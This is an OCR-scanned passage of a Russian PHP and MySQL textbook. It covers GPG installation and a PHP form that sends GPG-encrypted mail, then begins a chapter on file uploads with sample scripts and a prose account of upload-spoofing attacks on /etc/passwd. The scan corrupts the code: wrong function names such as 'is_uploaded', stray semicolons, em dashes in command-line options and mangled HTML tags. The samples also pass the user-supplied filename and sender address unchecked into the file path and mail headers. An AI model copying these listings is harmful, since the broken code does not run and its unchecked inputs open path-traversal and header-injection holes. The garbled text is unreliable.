Недавно появилась альтернатива PGP с открытым исходным кодом. GPG — Gnu Privacy Guard (защита секретности GNU) — представляет собой свободно распростра- няемую замену PGP. Он не содержит запатентованных алгоритмов и поэтому может использоваться в коммерческих целях без каких-либо ограничений. Оба этих продукта выполняют свою задачу сходными способами. На уровне ко- мандной строки разница практически незаметна, но каждая из них обладает своим интерфейсом, например, модулями для популярных почтовых программ, которые ав- томатически дешифруют сообщения при их получении. GPG можно загрузить по адресу http: //www. gnupg. org. Оба этих продукта можно использовать совместно, создав, например, зашифро- ванное сообщение с помощью GPG и переслав его лицу, использующему PGP для дешифрации (если это последняя версия). Поскольку нас интересует создание сооб- щений на веб-сервере, ниже показан пример с использованием GPG. Применение в данном случае PGP практически не потребовало бы изменений. Как и в случае других примеров, приведенных в этой книге, данный пример тре- бует наличия работающей программы GPG. Возможно, пакет GPG уже установлен в системе. Если это не так, не стоит беспокоиться: процедура инсталляции проста, хотя настройка и требует некоторых хитростей. Инсталляция GPG Чтобы установить GPG на компьютере, функционирующем под управлением Linux, необходимо загрузить соответствующий архивный файл с сайта www.gnupg.org. В зависимости от того, был ли выбран архив .tar.gz или .tar.bz2, придется ис- пользовать утилиты gun zip и tar, чтобы извлечь файлы из архива. Для компиляции и установки программы используются те же команды, что и для большинства Linux-программ: configure (или . /configure, в зависимости от настроек системы) make make install Если инсталляция производится непривилегированным пользователем, следует запустить сценарий конфигурирования с опцией —prefix: ./configure —pref1х=/путь/к/вашему/каталогу Это связано с тем, что только привилегированный пользователь обладает права- ми доступа к каталогу по умолчанию, где размещается GPG. Если все прошло без проблем, то код GPG будет скомпилирован, а исполняемый файл будет скопирован в /usr/local/bin/gpg либо в указанный каталог. Многие опции можно изменить — более подробная информация приведена в документации по GPG. Для Windows-сервера процесс выглядит еще проще. Нужно загрузить zip-файл, разархивировать его и поместить файл gpg. ехе в каталог, указанный в переменной PATH. (Вполне подойдет каталог С: \Windows\ или что-то похожее.) Затем потребует- ся создать каталог C:\gnupg и ввести команду gpg в командной строке. После инсталляции GPG или PGP нужно сгенерировать пару ключей в системе, с которой будет поступать почта. На веб-сервере практически отсутствуют различия между версиями командной строки GPG и PGP, поэтому вполне можно использоваться пакет GPG, поскольку он распространяется свободно. Однако на компьютере, с которого будет поступать почта, 404 Часть III. Электронная коммерция и безопасность
лучше отдать предпочтение коммерческой версии PGP, чтобы воспользоваться удоб- ным графическим интерфейсом модуля, встраиваемого в систему чтения почты. Если на компьютере, который будет выполнять чтение почты, еще нет пары ключей, ее необходимо создать. Вспомните, что пара ключей состоит из открытого ключа (public key), который другие пользователи (и PHP-сценарии) применяют для шифрования Почты до отправки вам, и закрытого ключа (private key), кото- рый используется с вашей стороны для дешифрации полученных сообщений или для подписи исходящих сообщений. Важно, чтобы генерация ключей производилась на компьютере, где будет производиться чтение почты, а не на веб-сервере, так как за- крытый ключ не должен храниться на веб-сервере. Если для генерации ключей применяется командная версия GPG, следует ввести такую команду: gpg —gen-key Программа задаст несколько вопросов, причем на большинство из них можно дать ответ, предлагаемый по умолчанию. Программа запросит имя, адрес электрон- ной почты и комментарий, которые будут использоваться в имени ключа. (Ключ автора называется ’Luke Welling <luke@tangledweb.com.au>’. Принцип должен быть для вас очевиден. Если вставить комментарий, то он должен находиться между именем и адресом.) Для экспорта общедоступного ключа из вновь созданной пары можно воспользо- ваться командой gpg —export > имя__файла В результате будет создан двоичный файл, подходящий для импорта в связку GPG- или PGP-ключей на другом компьютере. Если ключ требуется переслать по электрон- ной почте,' его можно сохранить в ASCII-формате с помощью следующей команды: gpg —export -а > имя_файла После извлечения открытого ключа файл можно загрузить в свою учетную запись на веб-сервер. Это можно сделать с использованием протокола FTP. Ниже подразумевается, что на сервере установлена операционная система Unix. Для Windows шаги будут такими же, однако имена каталогов и системных команд бу- дут другими. Вначале необходимо войти в систему со своей учетной записью на веб-сервере и изменить права доступа к файлу, чтобы его могли читать другие пользователи: chmod 644 имя__файла Чтобы пользователь, от имени которого запускаются PHP-сценарии, мог приме- нять программу GPG, потребуется создать связку ключей. Кто этот пользователь, за- висит от того, как настроен сервер. Зачастую это пользователь nobody, но возможны и другие варианты. Затем следует зарегистрироваться в качестве цользователя веб-сервера. Для этого необходимо располагать правами root доступа к серверу. Во многих системах веб-сер- вер запускается пользователем nobody. Это предполагается и в последующих приме- рах. (Можно изменить имя так, как того требует ваша система.) Введите следующие команды: su root su nobody Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 405
Создайте каталог, в котором пользователь nobody сможет сохранять связку клю- чей и другой конфигурационной информации, связанной с GPG. Каталог должен рас- полагаться в домашнем каталоге пользователя nobody. Домашний каталог каждого пользователя указан в файле /etc/passwd. Во многих Linux-системах домашним каталогом пользователя nobody по умолчанию является корневой каталог /, причем nobody не обладает правами записи в него. Во многих BSD-системах домашний каталог пользователя nobody по умолчанию определен как /nonexistent. Поскольку этого каталога не существует, в него нельзя ничего запи- сать. В нашем случае пользователю nobody в качестве домашнего установлен каталог /tmp. Вам нужно будет убедиться, что пользователь веб-сервера имеет такой домаш- ний каталог, в который он может выполнять запись. Введите команды: cd ~ mkdir .gnupg Пользователю nobody потребуется собственный ключ для подписи. Для его созда- ния следует еще раз запустить команду: gpg —gen-key Поскольку, скорее всего, пользователь nobody получает очень мало сообщений электронной почты, для него можно создать только ключ для подписи исходящей почты. Он нужен только для того, чтобы вы могли доверять извлеченному ранее от- крытому ключу. Для импорта этого открытого ключа применяется следующая команда: gpg —import имя__ файла Чтобы сообщить GPG, что вы хотите доверять этому ключу, необходимо изменить свойства ключа: gpg —edit-key ’Luke Welling <luke@tangledweb.com.au>* Текст в кавычках представляет собой имя ключа. Конечно, именем вашего ключа будет не ’Luke Welling <luke@tangledweb.com.au>1, а комбинация имени, коммен- тария и адреса электронной почты, заданных при его генерации. Среди опций этой программы имеется и help, которая выводит описание доступ- ных команд — trust (доверять), sign (подписать) и save (сохранить). Опция trust указывает GPG, что вы полностью доверяете ключу, sign применя- ется для подписи открытого ключа с использованием закрытого ключа пользователе nobody, a save — для выхода из программы с сохранением всех изменений. Тестирование GPG После всех этих операций GPG настроена и готова к использованию. Для ее тестирования потребуется создать файл test.txt, содержащий некоторый текст. Запуск команды: gpg -а —recipient ’Luke Welling <luke@tangledweb.com.au>’ --encrypt test.txt (где задано имя вашего ключа) должен привести к выдаче следующего предупреждения: gpg: Warning: using insecure memory! gpg: Предупреждение: используется незащищенная память! 406 Часть III. Электронная коммерция и безопасность
и создать файл с именем test .txt .asc. Он содержит примерно такое зашифрован- ное сообщение: -----BEGIN PGP MESSAGE---- Version: GnuPGvl.0.3 (GNU/Linux) Comment: For info see http://www.gnupg.org hQEOAODU7hVGgdtnEAQAhr4HgR7xpIBsK9CiELQw85+klQdQ+p/FzqL8tICrQ+B3 0GJTEehPUDErwqUw/uQLTds0rloPSrIAZ7c6GVkh0YEVBj2MskT81IIBvdo950yH K9PUCvg/rLxJlkxe4Vp8QFET5E3FdII/ly8VP5gSTE7gAgm0SbFf3S91PqwMyTkD /2oJEvL6e3cP384sOi81rBbDbOUAAhCjjXt2DX/uX9q6P18QW56UICUOn4DPaWlG /gnNZCkcVDgLcKfBjbkB/TCWWhpA7o7kX4CIdh7KHMHY4RKdnCWQf 271oE+8i9 cJRSCMsFIol6MMNRCQHY6p9bfxL2uE39lRJrQbe6xoEe0nkB0uTYxiL0TG+FrNrE tvBVMS0nsHu7HJey+oY4Z833pk5+MeVwYumJwlvHjdZxZmV6wz46GO2XGT17b28V wSBnWOoBHSZsPvkQXHTOq65EixP8y+YJvBN3z4pzdHOXa+NpqbH7q3+xXmd30hDR +u716MxTLDbgC+NR =gfQu -----END PGP MESSAGE---- После переноса этого файла в систему, где был создан ключ, и запуска команды: gpg test.txt.asc вы должны снова быть в состоянии прочесть исходный текст сообщения. Текст будет записан в файл с тем же именем, что и ранее — в данном примере это test. txt. Для вывода текста на экран служит флаг -d: gpg -d test.txt.asc Для сохранения текста в файл с именем, отличным от принятого по умолчанию, потребуется указать флаг -d и задать соответствующее имя файла: gpg -do test.out test.txt.asc Обратите внимание, что сначала указывается имя выходного файла. Если GPG настроена так, что пользователь, от имени которого запускаются РНР- сценарии, может запустить ее из командной строки, то практически все готово. Если что-то не работает, проконсультируйтесь с системным администратором либо обра- титесь к документации по GPG. В листингах 18.1 и 18.2 показано, как можно пересылать зашифрованные почто- вые сообщения, используя РНР для вызова GPG. Листинг 18.1. private_mall.php — HTML-форма для отправки зашифрованных почтовых сообщений <html> <body> <Ы>Отправьте мне секретное сообщение</Ы> <?php // Эту строку необходимо изменить, если не используются стандартные // порты (порт 80 для обычного трафика и порт 443 для SSL) if($_SERVER[’SERVER_PORT’] != 443) { echo ’<p style=”color: red">’ . ’ВНИМАНИЕ: вы подключились к этой странице не через SSL.’ . ’< /Ьг>Ваше сообщение может быть прочитано другими.</р>'; } ?> Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 407
<form method = "post" action = "send_private_mail.php"> <p>Bam адрес электронной почты:<br /> <input type="text" name="from" size="40"/x/p> <р>Тема:<Ьг /> cinput type="text" name="title" size="40"/x/p> <р>Текст сообщения:<br /> ctextarea name="body" cols="30" rows="10"x/textareax/p> <br /> <input type="submit" name="submit" value="OTnpaBHTb"/> </form> </body> </html> Листинг 18.2. send_private_mail. php — PHP-сценарий для вызова GPG и отправки зашифрованной почты <?php / / Создание коротких \имен переменных $f rom = $_POST [ ’ from’ ] ; $title = $_POST[’title’]; $body = $_POST [ ’ body' ] ; $to_email = ’luke@localhost’; // Укажите GPG, где находится связка ключей. //В данной системе домашним каталогом пользователя nobody является /tmp/ putenv(’GNUPGHOME=/tmp/.gnupg'); // Создание уникального имени файла $infile = tempnam(’’, ’pgp’); $outfile = $infile.’.asc'; // Запись в файл текста, введенного пользователем $fp = fopen($infile, ’w'); fwrite($fp, $body); fclose($fp); // Сборка команды $command = "/usr/local/bin/gpg -a \\ —recipient ’Luke Welling <luke@tangledweb.com.au>’ \\ —encrypt —о $outfile $infile"; // Выполнение команды GPG system($command, $result); // Удаление незашифрованного временного файла unlink($infile); if ($result==0) { $fp = fopen ($outf ile, ’r’); if (!$fp || filesize($outfile) == 0) { $result = -1; } else { / / Чтение зашифрованного файла $contents = fread ($fp, filesize ($outfile)); 408 Часть III. Электронная коммерция и безопасность
I/ Удаление зашифрованного временного файла unlink($outfile); mail($to_email; $title, $contents, "From: ".$from."\n");. echo ’ <Ы>Сообщение отправлено</Ы>' . '<р>Ваше сообщение зашифровано и отправлено.</р>' . ' <р>Спасибо. ' </р> ’ ; if ($result ’= 0) { echo '<Ь1>Ошибка:</111>' . ’<р>Ваше сообщение не может быть зашифровано,</р>’ . *<р>поэтому оно не отправлено.</р>’ . ’<р>Извините.</р>’; } Чтобы этот код работал в вашей ситуации, необходимо внести некоторые измене- ния. Сообщение электронной почты отправляется по адресу $to_email. В строке putenv(’GNUPGHOME=/tmp/.gnupg’); в листинге 18.2 следует указать местонахождение связки ключей GPG. В системе автора веб-сервер запускается от имени пользователя nobody, начальным каталогом которого является /tmp/. Функция tempnam () используется для создания уникального имени временного файла. Можно указать и каталог, и префикс имени файла. Поскольку подобные фай- лы создаются и удаляются в течение буквально секунды, их имена не имеют особого значения. В данном случае мы указали префикс 1 pgp1, но разрешили РНР использо- вать системный каталог для хранения временных файлов. Оператор: $command = "/usr/local/bin/gpg -а \\ —recipient 'Luke Welling <luke@tangledweb.com.au>' \\ —encrypt -o $outfile $infile"; создает команду и параметры для вызова GPG. Вы должны привести этот оператор в соответствие со своей ситуацией. Как и при использовании командной строки, GPG необходимо указать, какой ключ применять для шифрования сообщений. Оператор: system($command, $result); выполняет инструкции, записанные в строке $ command, и присваивает возвращаемое значение переменной $ result. Его можно просто игнорировать, но лучше использо- вать условный оператор if и сообщить пользователю, если что-то будет выполнено неудачно. Когда временные файлы становятся ненужными, они удаляются с помощью функ- ции unlink (). Это значит, что пользовательская почта в незашифрованном виде хра- нится на сервере в течение достаточно короткого промежутка времени. Но если в это время сервер выйдет из строя, файл может остаться на сервере. При обсуждении вопросов безопасности сценариев важно учитывать все инфор- мационные потоки внутри системы. GPG позволяет отправителю шифровать почту, Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 409
а получателю — дешифровать ее, но как именно информация поступает от отправите- ля к получателю? Если для отправки зашифрованной с помощью GPG почты исполь- зуется веб-интерфейс, поток информации будет выглядеть примерно так, как показа- но на рис. 18.5. Рис. 18.5. В нашем приложении пересылки зашифрованной электронной почты сообщение трижды пересылается через Интернет На этом рисунке каждая стрелка представляет пересылку сообщения с одного ком- пьютера на другой. При каждой пересылке сообщение путешествует через Интернет, проходя по пути промежуточные сети и компьютеры. Рассматриваемый здесь сценарий хранится на компьютере, обозначенном на диа- грамме как веб-сервер. На нем сообщение шифруется с использованием открытого клю- ча получателя. После этого сообщение пересылается по протоколу SMTP на почтовый сервер получателя. Получатель соединяется со своим почтовым сервером по протоко- лу POP или IMAP и загружает сообщение с помощью почтового клиента. Здесь он де- шифрует сообщение, используя свой закрытый ключ. Пересылки данных на рис. 18.5 обозначены цифрами 1, 2 и 3. На этапах 2 и 3 информация пересылается в зашифрованном при помощи GPG виде и недоступна тем, кто не обладает закрытым ключом. Однако при пересылке 1 сообщение имеет обычный текстовый вид, в котором отправитель вводил его в HTML-форму. Если информация настолько важна, что шифруется на втором и третьем этапах, нелогично пересылать ее в обычном формате на первом этапе. Именно поэтому сце- нарий размещается на сервере, поддерживающем SSL. Если соединение со сценарием происходит без SSL, выдается предупреждение. Это проверяется путем анализа переменной $_SERVER [ ’ SERVER PORT' ]. SSL-соедине- ния по умолчанию выполняются через порт 443. Любые другие соединения приводят к ошибке. Вместо того чтобы выдавать сообщение об ошибке, можно обработать эту си- туацию по-другому. Можно просто перенаправить пользователя на тот же URL, но через SSL-соединение. Кроме того, ошибку можно просто игнорировать, поскольку зачастую не важно, была ли форма доставлена через защищенное соединение. Важно только, чтобы информация, введенная пользователем в форму, пересылалась по за- щищенному соединению. Поэтому можно просто задать полный URL-адрес в пара- метре action формы ввода. Сейчас открывающий HTML-дескриптор form выглядит следующим образом: <form method="post" action='’send_private_mail.php"> Его можно изменить так, чтобы данные пересылались серверу через SSL-соедине- ние, даже если пользователь подключился без SSL: <form method="post" action="https://веб-сервер/send_private_mail.php"> Если полный URL-адрес жестко закодирован подобным образом, можно быть уве- ренным, что пользовательские данные будут передаваться через SSL, однако в этом 410 Часть III. Электронная коммерция и безопасность
случае код придется изменять при каждом использовании на другом сервере или даже просто в другом каталоге. Хотя в данном случае, как и во многих других, не столь уж важно, чтобы пустая форма пересылалась пользователям через SSL-соединение, обычно лучше поступить именно так. Если пользователь будет видеть изображение замочка в строке состояния своего браузера, он будет уверен, что передача информации осуществляется безопас- ным образом. Далеко не все пользователи будут просматривать исходный HTML-код, чтобы узнать, какие именно действия указаны в атрибутах формы. Дополнительные источники информации Описание спецификации SSL 3.0 можно найти на сайте Netscape по адресу http://wp.netscape.com/eng/ssl3/. Дополнительные сведения о сетях и сетевых протоколах можно найти в классиче- ской книге Дугласа Камера Сети TCP/IP, том 1. Принципы, протоколы и структуры, 4-е издание (Издательский дом “Вильямс”, 2003 г.). Что дальше На этом обсуждение основных вопросов создания сайтов электронной коммерции и их защиты завершается. В следующей части книги рассматриваются некоторые бо- лее сложные технологи РНР, в том числе, взаимодействие с другими компьютерами в Интернете, динамическая генерация изображений и управление сеансами. Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 411
IV Более сложные технологии РНР В ЭТОЙ ЧАСТИ... Глава 19. Взаимодействие с файловой системой и сервером Глава 20. Использование функций работы с сетью и протоколами Глава 21. Работа с датой и временем Глава 22. Генерация изображений Глава 23. Управление сеансами в РНР Глава 24. Другие полезные возможности
19 Взаимодействие с файловой системой и сервером В главе 2 мы узнали, как читать данные из файлов и записывать данные в файлы на веб-сервере. В данной главе мы ознакомимся с другими PHP-функциями, по- зволяющими взаимодействовать с файловой системой веб-сервера. В главе рассматриваются следующие темы. Выгрузка файлов на сервер с помощью РНР. Использование функций работы с каталогами. Работа с файлами на сервере. Запуск программ на сервере. Использование переменных среды сервера. Рассмотрим пример, проясняющий использование этих функций. Допустим, клиенту нужно предоставить возможность изменять часть содержимо- го веб-сайта — например, последние новости о его компании. (Или, может быть, вам хочется иметь для себя интерфейс более дружественный, чем предлагаемый FTP или SCP.) Один из способов сделать это состоит в разрешении клиенту загружать тексто- вые файлы с информацией. Затем эти файлы будут доступны на сайте через шаблон, разработанный на РНР, как это было сделано в главе 6. Прежде чем окунуться в системные функции работы с файлами, давайте кратко ознакомимся с тем, как происходит выгрузка файла на сервер. Выгрузка файлов В РНР доступна очень полезная возможность — поддержка выгрузки файлов. Вместо того чтобы отправлять файлы по протоколу HTTP с сервера в браузер, мы пересылаем их в обратном направлении, т.е. с браузера на сервер. Обычно для этого применяются HTML-формы. Форма, которая будет использована в нашем примере, показана на рис. 19.1. 414 Часть IV. Более сложные технологии РНР
Рис. 19.1. Форма, используемая для выгрузки файлов на сервер, содержит поля и типы полей, отличные от применяемых в обычных HTML-формах Как видно на рисунке, форма содержит поле ввода, в котором пользователь может ввести имя файла, или щелкнуть на кнопке “Обзор”, чтобы выбрать файлы, доступ- ные на своей локальной машине. Ниже мы покажем, как реализовать такую форму. После ввода имени файла пользователь может щелкнуть на кнопке “Послать файл”, и файл будет отправлен на сервер, где его ожидает РНР-сценарий. Прежде чем начать разбираться в примере выгрузки файлов, вам следует знать, что в файле php. ini имеется четыре директивы, управляющие выгрузкой файлов с помощью РНР. Эти директивы, их значения по умолчанию и описания приведены в табл. 19.1. Таблица 19.1. Параметры для настройки выгрузки файлов Bphp.ini Директива Описание Значение по умолчанию file_uploads Разрешает или запрещает выгрузку файлов по HTTP. Возможные значения — On (разрешена) или Off (за- прещена). On upload_tmp_dir Задает каталог, где временно хранятся выгруженные файлы, ожидающие обработки. Если это значение не задано, используется стандартный системный каталог. NULL upload_max_filesize Задает максимально допустимый размер выгружаемых файлов. Если файл больше этого значения, то РНР за- писывает вместо него пустой файл (размером 0 байтов). 2М post_max_size Задает максимально допустимый размер данных POST, который будет воспринимать РНР. Это значение должно быть больше, чем upload_max_f ilesize, т.к. оно задает размер любых отправляемых на сервер данных, в том числе и выгружаемых файлов. 8М HTML-код для загрузки файла Для реализации загрузки файла на сервер применяются некоторые конструкции языка HTML, специально предназначенные для этой цели. HTML-код для нашей фор- мы показан в листинге 19.1. Глава 19. Взаимодействие с файловой системой и сервером 415
Листинг 19.1. upload.html — HTML-форма для выгрузки файлов <html> <head> <Ь1Ь1е>Администрирование - выгрузка новых $a£inoB</title> </head> <body> <Ы>Выгрузка новых файлов</Ы> <form action="upload.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="MAX_FILE_SIZE" value="1000000"> <label for="userfile">Bbirpy3HTb файл:</label> <input type="file" name="userfile" id="userfile"/> <input type="submit" value="riocinaTb файл"> </form> </body> </html> Обратите внимание, что в этой форме используется метод POST. Выгрузку файла Можно осуществить и с помощью метода PUT, поддерживаемого инструментами Netscape Composer и Amaya, однако при этом придется внести в код существенные изменения. Упомянутые инструменты не поддерживают метод GET. Рассмотрим особенности этой формы. В дескрипторе <form> необходим атрибут enctype=”multipart/form-data” для извещения сервера, что вместе с обычной информацией формы посылает- ся и файл. Форма должна содержать поле, в котором задан максимальный размер загру- жаемого файла. Это скрытое поле, и оно представлено с помощью HTML-деск- риптора: <input type="hidden" name="MAX_FILE_SIZE" value="1000000"> Именем этого поля формы должно быть MAX FILE SIZE. Его значение — это максимальный размер (в байтах) файлрв, разрешенный для загрузки. Здесь он установлен в 1 000 000 байт (около 1 Мбайт). В своем приложении вы можете сделать, его большим или меньшим. В форме должно присутствовать поле ввода с типом file, у нас оно задано сле- дующим образом: <input type="file" name="userfile" id="userfile"/> Имя поля ввода файла можно выбрать любое, надо лишь помнить его, так как это имя будет использовано в принимающем PHP-сценарии для доступа к файлу. На заметку! Прежде чем двигаться дальше, стоит напомнить, что у некоторых версий РНР в коде выгрузки файла присутствуют бреши в безопасности. Если вы решите пользоваться выгрузкой файлов на свой рабочий сервер, нужно удостовериться, что у вас установлена самая последняя версия РНР, и следить за выходом правок и обновлений. Это не должно стать причиной отказа от такой полезной технологии, но при написании кода нужно проявлять осторожность и стараться ограничивать доступ всем, крбме, скажем, админи- страторов сайта и менеджеров содержимого. 416 Часть IV. Более сложные технологии РНР
Написание PHP-сценария для работы с файлами PHP-код загрузки файла очень прост. Сразу после выгрузки на сервер файл ненадолго попадает во временный каталог, указанный в директиве upload_tmp_dir. Как было сказано в табл. 19.1, если этот па- раметр не задан, то по умолчанию используется основной временный каталог веб-сер- вера. Если этот файл не переместить, скопировать или удалить до завершения работы сценария, он будет автоматически удален. Данные, которые должны обрабатываться в нашем PHP-сценарии, хранятся в су- перглобальном массиве $_FILES. Если параметр register_globals включен, к дан- ным возможен и непосредственный доступ через имена переменных. Однако здесь, пожалуй, как раз то место, где лучше отключить register_globals и работать с дан- ными через суперглобальный массив. Элементы в массиве $_FILES будут сохранены с именем дескриптора <f ile> из ис- ходной HTML-формы. Поскольку элемент нашей формы имеет имя user file, содер- жимое массива $_FILES выглядит следующим образом. Значение, хранимое в $_FILES [' userfile' ] [ ’ tmp name ' ], представляет собой место временного хранения файла на веб-сервере. Значение, хранимое в $_FILES ['userfile'] [' name' ], является именем файла в системе пользователя. Значение, хранимое в $_FILES ['userfile'] ['size'], указывает размер файла в байтах. Значение, хранимое в $_FILES [ ' userf ile ' ] [ ' type ' ], содержит MIME-тип файла,,например, text/plain или image/gif. Значение, хранимое в $_FILES [ ' userfile ' ] [ ' error ' ], будет содержать код ошибки, возникшей во время выгрузки файла. Эта возможность появилась в версии РНР 4.2.0. Теперь, когда известно, где находится файл и как он называется, можно скопиро- вать его в более полезное место. Временный файл по окончании выполнения сцена- рия будет удален. Значит, если требуется сохранить файл, его надо переместить или переименовать. В нашем примере предполагается, что загруженные файлы представляют со- бой статьи с новостями, поэтому нужно удалить из них все возможные HTML- дескрипторы и перенести в более подходящий каталог — /uploads/. Каталог uploads необходимо создать в корневом каталоге веб-сервера. При отсутствии такого каталога выгрузка файла не будет выполнена. Сценарий, выполняющий это, показан в листинге 19.2. Листинг 19.2. upload.php — PHP-сценарий приема файла от HTML-формы <html> <head> <titl*e>3arpy3Ka. . .</title> </head> <body> <Ы>Загрузка файла. . .</hl> <?php Глава 19. Взаимодействие с файловой системой и сервером 417
if ($_FILES[’userfile’][’error’] >0) { echo 'Проблема: '; switch ($_FILES['userfile']['error']) { case 1: echo 'Размер файла больше upload_max_filesize'; break; case 2: echo 'Размер файла больше max_file_size'; break; case 3: echo 'Загружена только часть файла'; break; case 4: echo 'Файл не загружен'; break; case 6: echo 'Загрузка невозможна: не задан временный каталог'; break; case 7: echo 'Загрузка не выполнена: невозможна запись на диск'; break; } exit; } // Проверка, имеет ли файл правильный М1МЕ-тип if ($_FILES['userfile']['type'] != ' text/plain') { echo 'Проблема: файл не является текстовым'; exit; } // Помещаем файл туда, куда нужно $upfile = '/uploads/'.$_FILES['userfile']['name']; if (is_uploaded($_FILES['userfile']['tmp_name'])) { if (!move_uploaded_file($_FILES['userfile']['tmp_name'], $upfile)) { echo 'Проблема: невозможно переместить файл в каталог назначения'; exit; } } else { echo 'Проблема: возможна атака через загрузку файла. Файл: '; echo $_FILES['userfile']['name']; exit; } echo 'Файл успешно загружен.<br /><Ьг />'; // Удаление возможных HTML- и PHP-дескрипторов из содержимого файла $contents = file_get_contents($upfile); $contents = strip_tags($contents); file_put_contents($_FILES['userfile']['name'], $contents); // Вывод загруженного файла echo 'Предварительный просмотр содержимого загруженного файла:<br /xhr />'; echo nl2br($contents); echo ' <br /xhr />'; ?> </body> </html> Интересно, что большую часть сценария составляют проверки на предмет возник- новения ошибок. Загрузка файла на сервер сопряжена с потенциальным риском нару- шения безопасности, и этот риск должен быть сведен к минимуму. Нужно как можно более тщательно проверить файл, дабы убедиться в безопасности его отображения посетителю. 418 Часть IV. Более сложные технологии РНР
Посмотрим, какие основные части содержит сценарий. Сначала проверяется код ошибки, возвращаемый в $_FILES [ ’ user file ’ ] [' error ’ ]. Каждому коду ошибки соответствует специальная константа. Возможные константы и их значения перечислены ниже. UPLOAD ERROR OK — равна 0, означает, что ошибок не было. UPLOAD_ERR_INI_SIZE — равна 1, означает, что размер загруженного фай- ла превышает максимальное значение, заданное в файле php.ini директивой upload_max_filesize. UPLOAD_ERR_FORM_SIZE — равна 2, означает, что размер загруженного файла превышает максимальное значение, заданное в HTML-форме элементом MAX_FILE_SIZE. UPLOAD ERR PARTIAL — равна 3, означает, что загружена только часть файла. UPLOAD ERR NO FILE — равна 4, означает, что файл не загружен. UPLOAD_ERR_NO_TMP_DIR — равна 6, означает, что в файле php.iniHe указан временный каталог (появилась в РНР 5.0.3). UPLOAD ERR CANT WRITE — равна 7, означает, что запись в файл не может быть выполнена. Если вы хотите использовать более старую версию РНР, поместите в код провер- ки, описанные в руководстве по РНР соответствующей версйи. Далее проверяется MIME-тип файла. В данном случае мы решили, что будем за- гружать только текстовые файлы, поэтому MIME-тип контролируется путем сравне- ния $_FILES [ ’ userfile' ] [ ’ type ’ ] со строкой ' text/plain'. Такая грубая проверка не обеспечивает безопасность. MIME-тип определяется браузером пользователя на основе расширения файла и затем передается серверу. Поскольку достаточно несложно передать ложный MIME-тип, злоумышленники вполне могут восполь- зоваться этим. Затем мы проверяем, что файл действительно загружен и не является локальным файлом вроде /etc/passwd. Несколько позже мы еще вернемся к этому вопросу. Если все нормально, то файл копируется в предназначенный для него каталог. В данном примере это каталог /uploads/ — он находится за пределами дерева веб-до- кументов и поэтому удобен для помещения в него тех файлов, которые впоследствии' будут куда-нибудь включаться. Затем мы открываем файл, удаляем из него все случайные HTML- и РНР-деск- рипторы с помощью функции sbrip tags () и записываем файл обратно. И, наконец, содержимое файла выводится на экран, чтобы пользователь убедился, что загрузка файла успешно завершена. Результат (успешного) выполнения сценария можно видеть на рис. 19.2. В сентябре 2000 г. появилось сообщение о способе, позволяющем взломщику заставить сценарий загрузки файла обработать локальный файл вместо загружен- ного. Этот способ зафиксирован в списке рассылки BUGTRAQ (Имеется в виду сайт www.bugtraq.com, посвященный проблемам компьютерной безопасности. Существует несколько аналогичных рассылок типа NTBugTraq и VulnWatch; доступен также русскоязычный вариант BUGTRAQ по адресу www.bugtraq.ru — прим. ред.\ Официальные рекомендации по безопасности можно прочитать во многих архивах BUGTRAQ, таких как http: //lists . insecure. org/bugtraq/2000/Sep/0237 .html. Глава 19. Взаимодействие с файловой системой и сервером 419
‘S Загрузка... - HoziSa firefox г43? Fte Edt View History gpokmarks Tods Hdp #’ e (21 htto://iocathost45dp^ysd/^/upioad0.php Загрузка файла... Файл успешно загружен Предварительный просмотр содержимого загруженного файла: Сообщение для прессы. 21 марта. Магазин автозапчастей Вована объявил сегодня, что выполнил квартальный план по прибыли, увеличив объем продаж на 11% до $1246. Вован утверждает, что создание веб-сайта тут ни при чем, просто он работящий такой. Done Рис. 19.2. После копирования и переформатирова- ния загруженного файла его содержимое отобража- ется на экране в качестве подтверждения пользова- телю, что загрузка успешно завершена Чтобы устранить такую брешь, в сценарии использованы функции is_uploaded_ file () и move_uploaded file (), которые позволяют проверить, что обрабатывае- мый файл действительно загружен и не является локальным наподобие /etc/passwd. Эти функции стали доступны в РНР, начиная с версии 4.0.3. Если отнестись к написанию сценария, управляющего загрузкой файла, небрежно, посетитель-злоумышленник может подставить свое собственное временное имя файла и заставить ваш сценарий обработать этот файл как загруженный. Поскольку многие сценарии загрузки файлов отображают пользователю загруженные данные или сохра- няют их где-то для последующей загрузки на сайт, это может дать возможность об- ратиться к любому файлу, доступному для чтения веб-сервером. В числе этих файлов могут находиться и очень важные данные, подобные файлу /etc/passwd или файлам с исходным кодом на РНР, которые содержат пароли доступа к базам данных. Устранение часто встречающихся проблем При выгрузке файлов на сервер следует помнить о нескольких моментах. В предыдущем примере предполагалось, что где-то имеется список зарегистри- рованных пользователей. Нельзя Позволять кому угодно загружать файлы на ваш сайт. Если вы все же позволяете ненадежным или незарегистрированным пользова- телям загружать файлы, то следует очень внимательно проверять их содержи- мое. Вряд ли вы захотите, чтобы на ваш сервер был загружен и выполнен вре- доносный сценарий. Нужно проявлять осторожность не только по отношению к типу и содержимому файла, как это было продемонстрировано, но и к самому имени файла. Неплохо переименовывать загруженные файлы так, чтобы имя было гарантированно “безопасным”. Для защиты от просмотра каталогов сервера можно использовать функцию basename (), которая изменяет имена поступающих файлов. Эта функция отсе- кает путь каталога, который передается в составе имени файла — такие атаки 420 Часть IV. Более сложные технологии РНР
часто применяются для помещения файлов в другие каталоги сервера. Пример применения функции basename (): <?php $path = "/home/httpd/html/index.php"; $filel = basename($path); $file2 = basename($path, ".php"); print $filel . "<br/>"; // $filel содержит "index.php" print $file2 . "<br/>"; // $file2 содержит "index" Если ваша машина работает под управлением Windows, то везде в пути к файлу вместо \ нужно использовать \\-или /. Использование имен файлов, введенных пользователями, как это было в рассмот- ренном сценарии, чревато возникновением разнообразных проблем. Наиболее очевидная из них связана с риском случайной перезаписи существующих файлов при совпадении имен. Менее очевидная проблема состоит в том, что различные операционные системы и даже разные языковые настройки разрешают исполь- зовать различающиеся наборы символов в именах файлов. Имя выгружаемого файла может содержать символы, недопустимые в вашей системе. Если при попытке загрузки файла на сервер возникают проблемы, проверьте файл php.ini. Нужно, чтобы в директиве upload tmp dir был указан каталог, к которому у вас имеется доступ. Если необходимо загружать большие файлы, то, возможно, следует изменить и директиву memory limit — она определяет мак- симальное количество байтов в файле, которое вы можете загрузить. В Apache можно еще настраивать время тайм-аута и пределы размера транзакции, на ко- торые также следует обратить внимание в случае 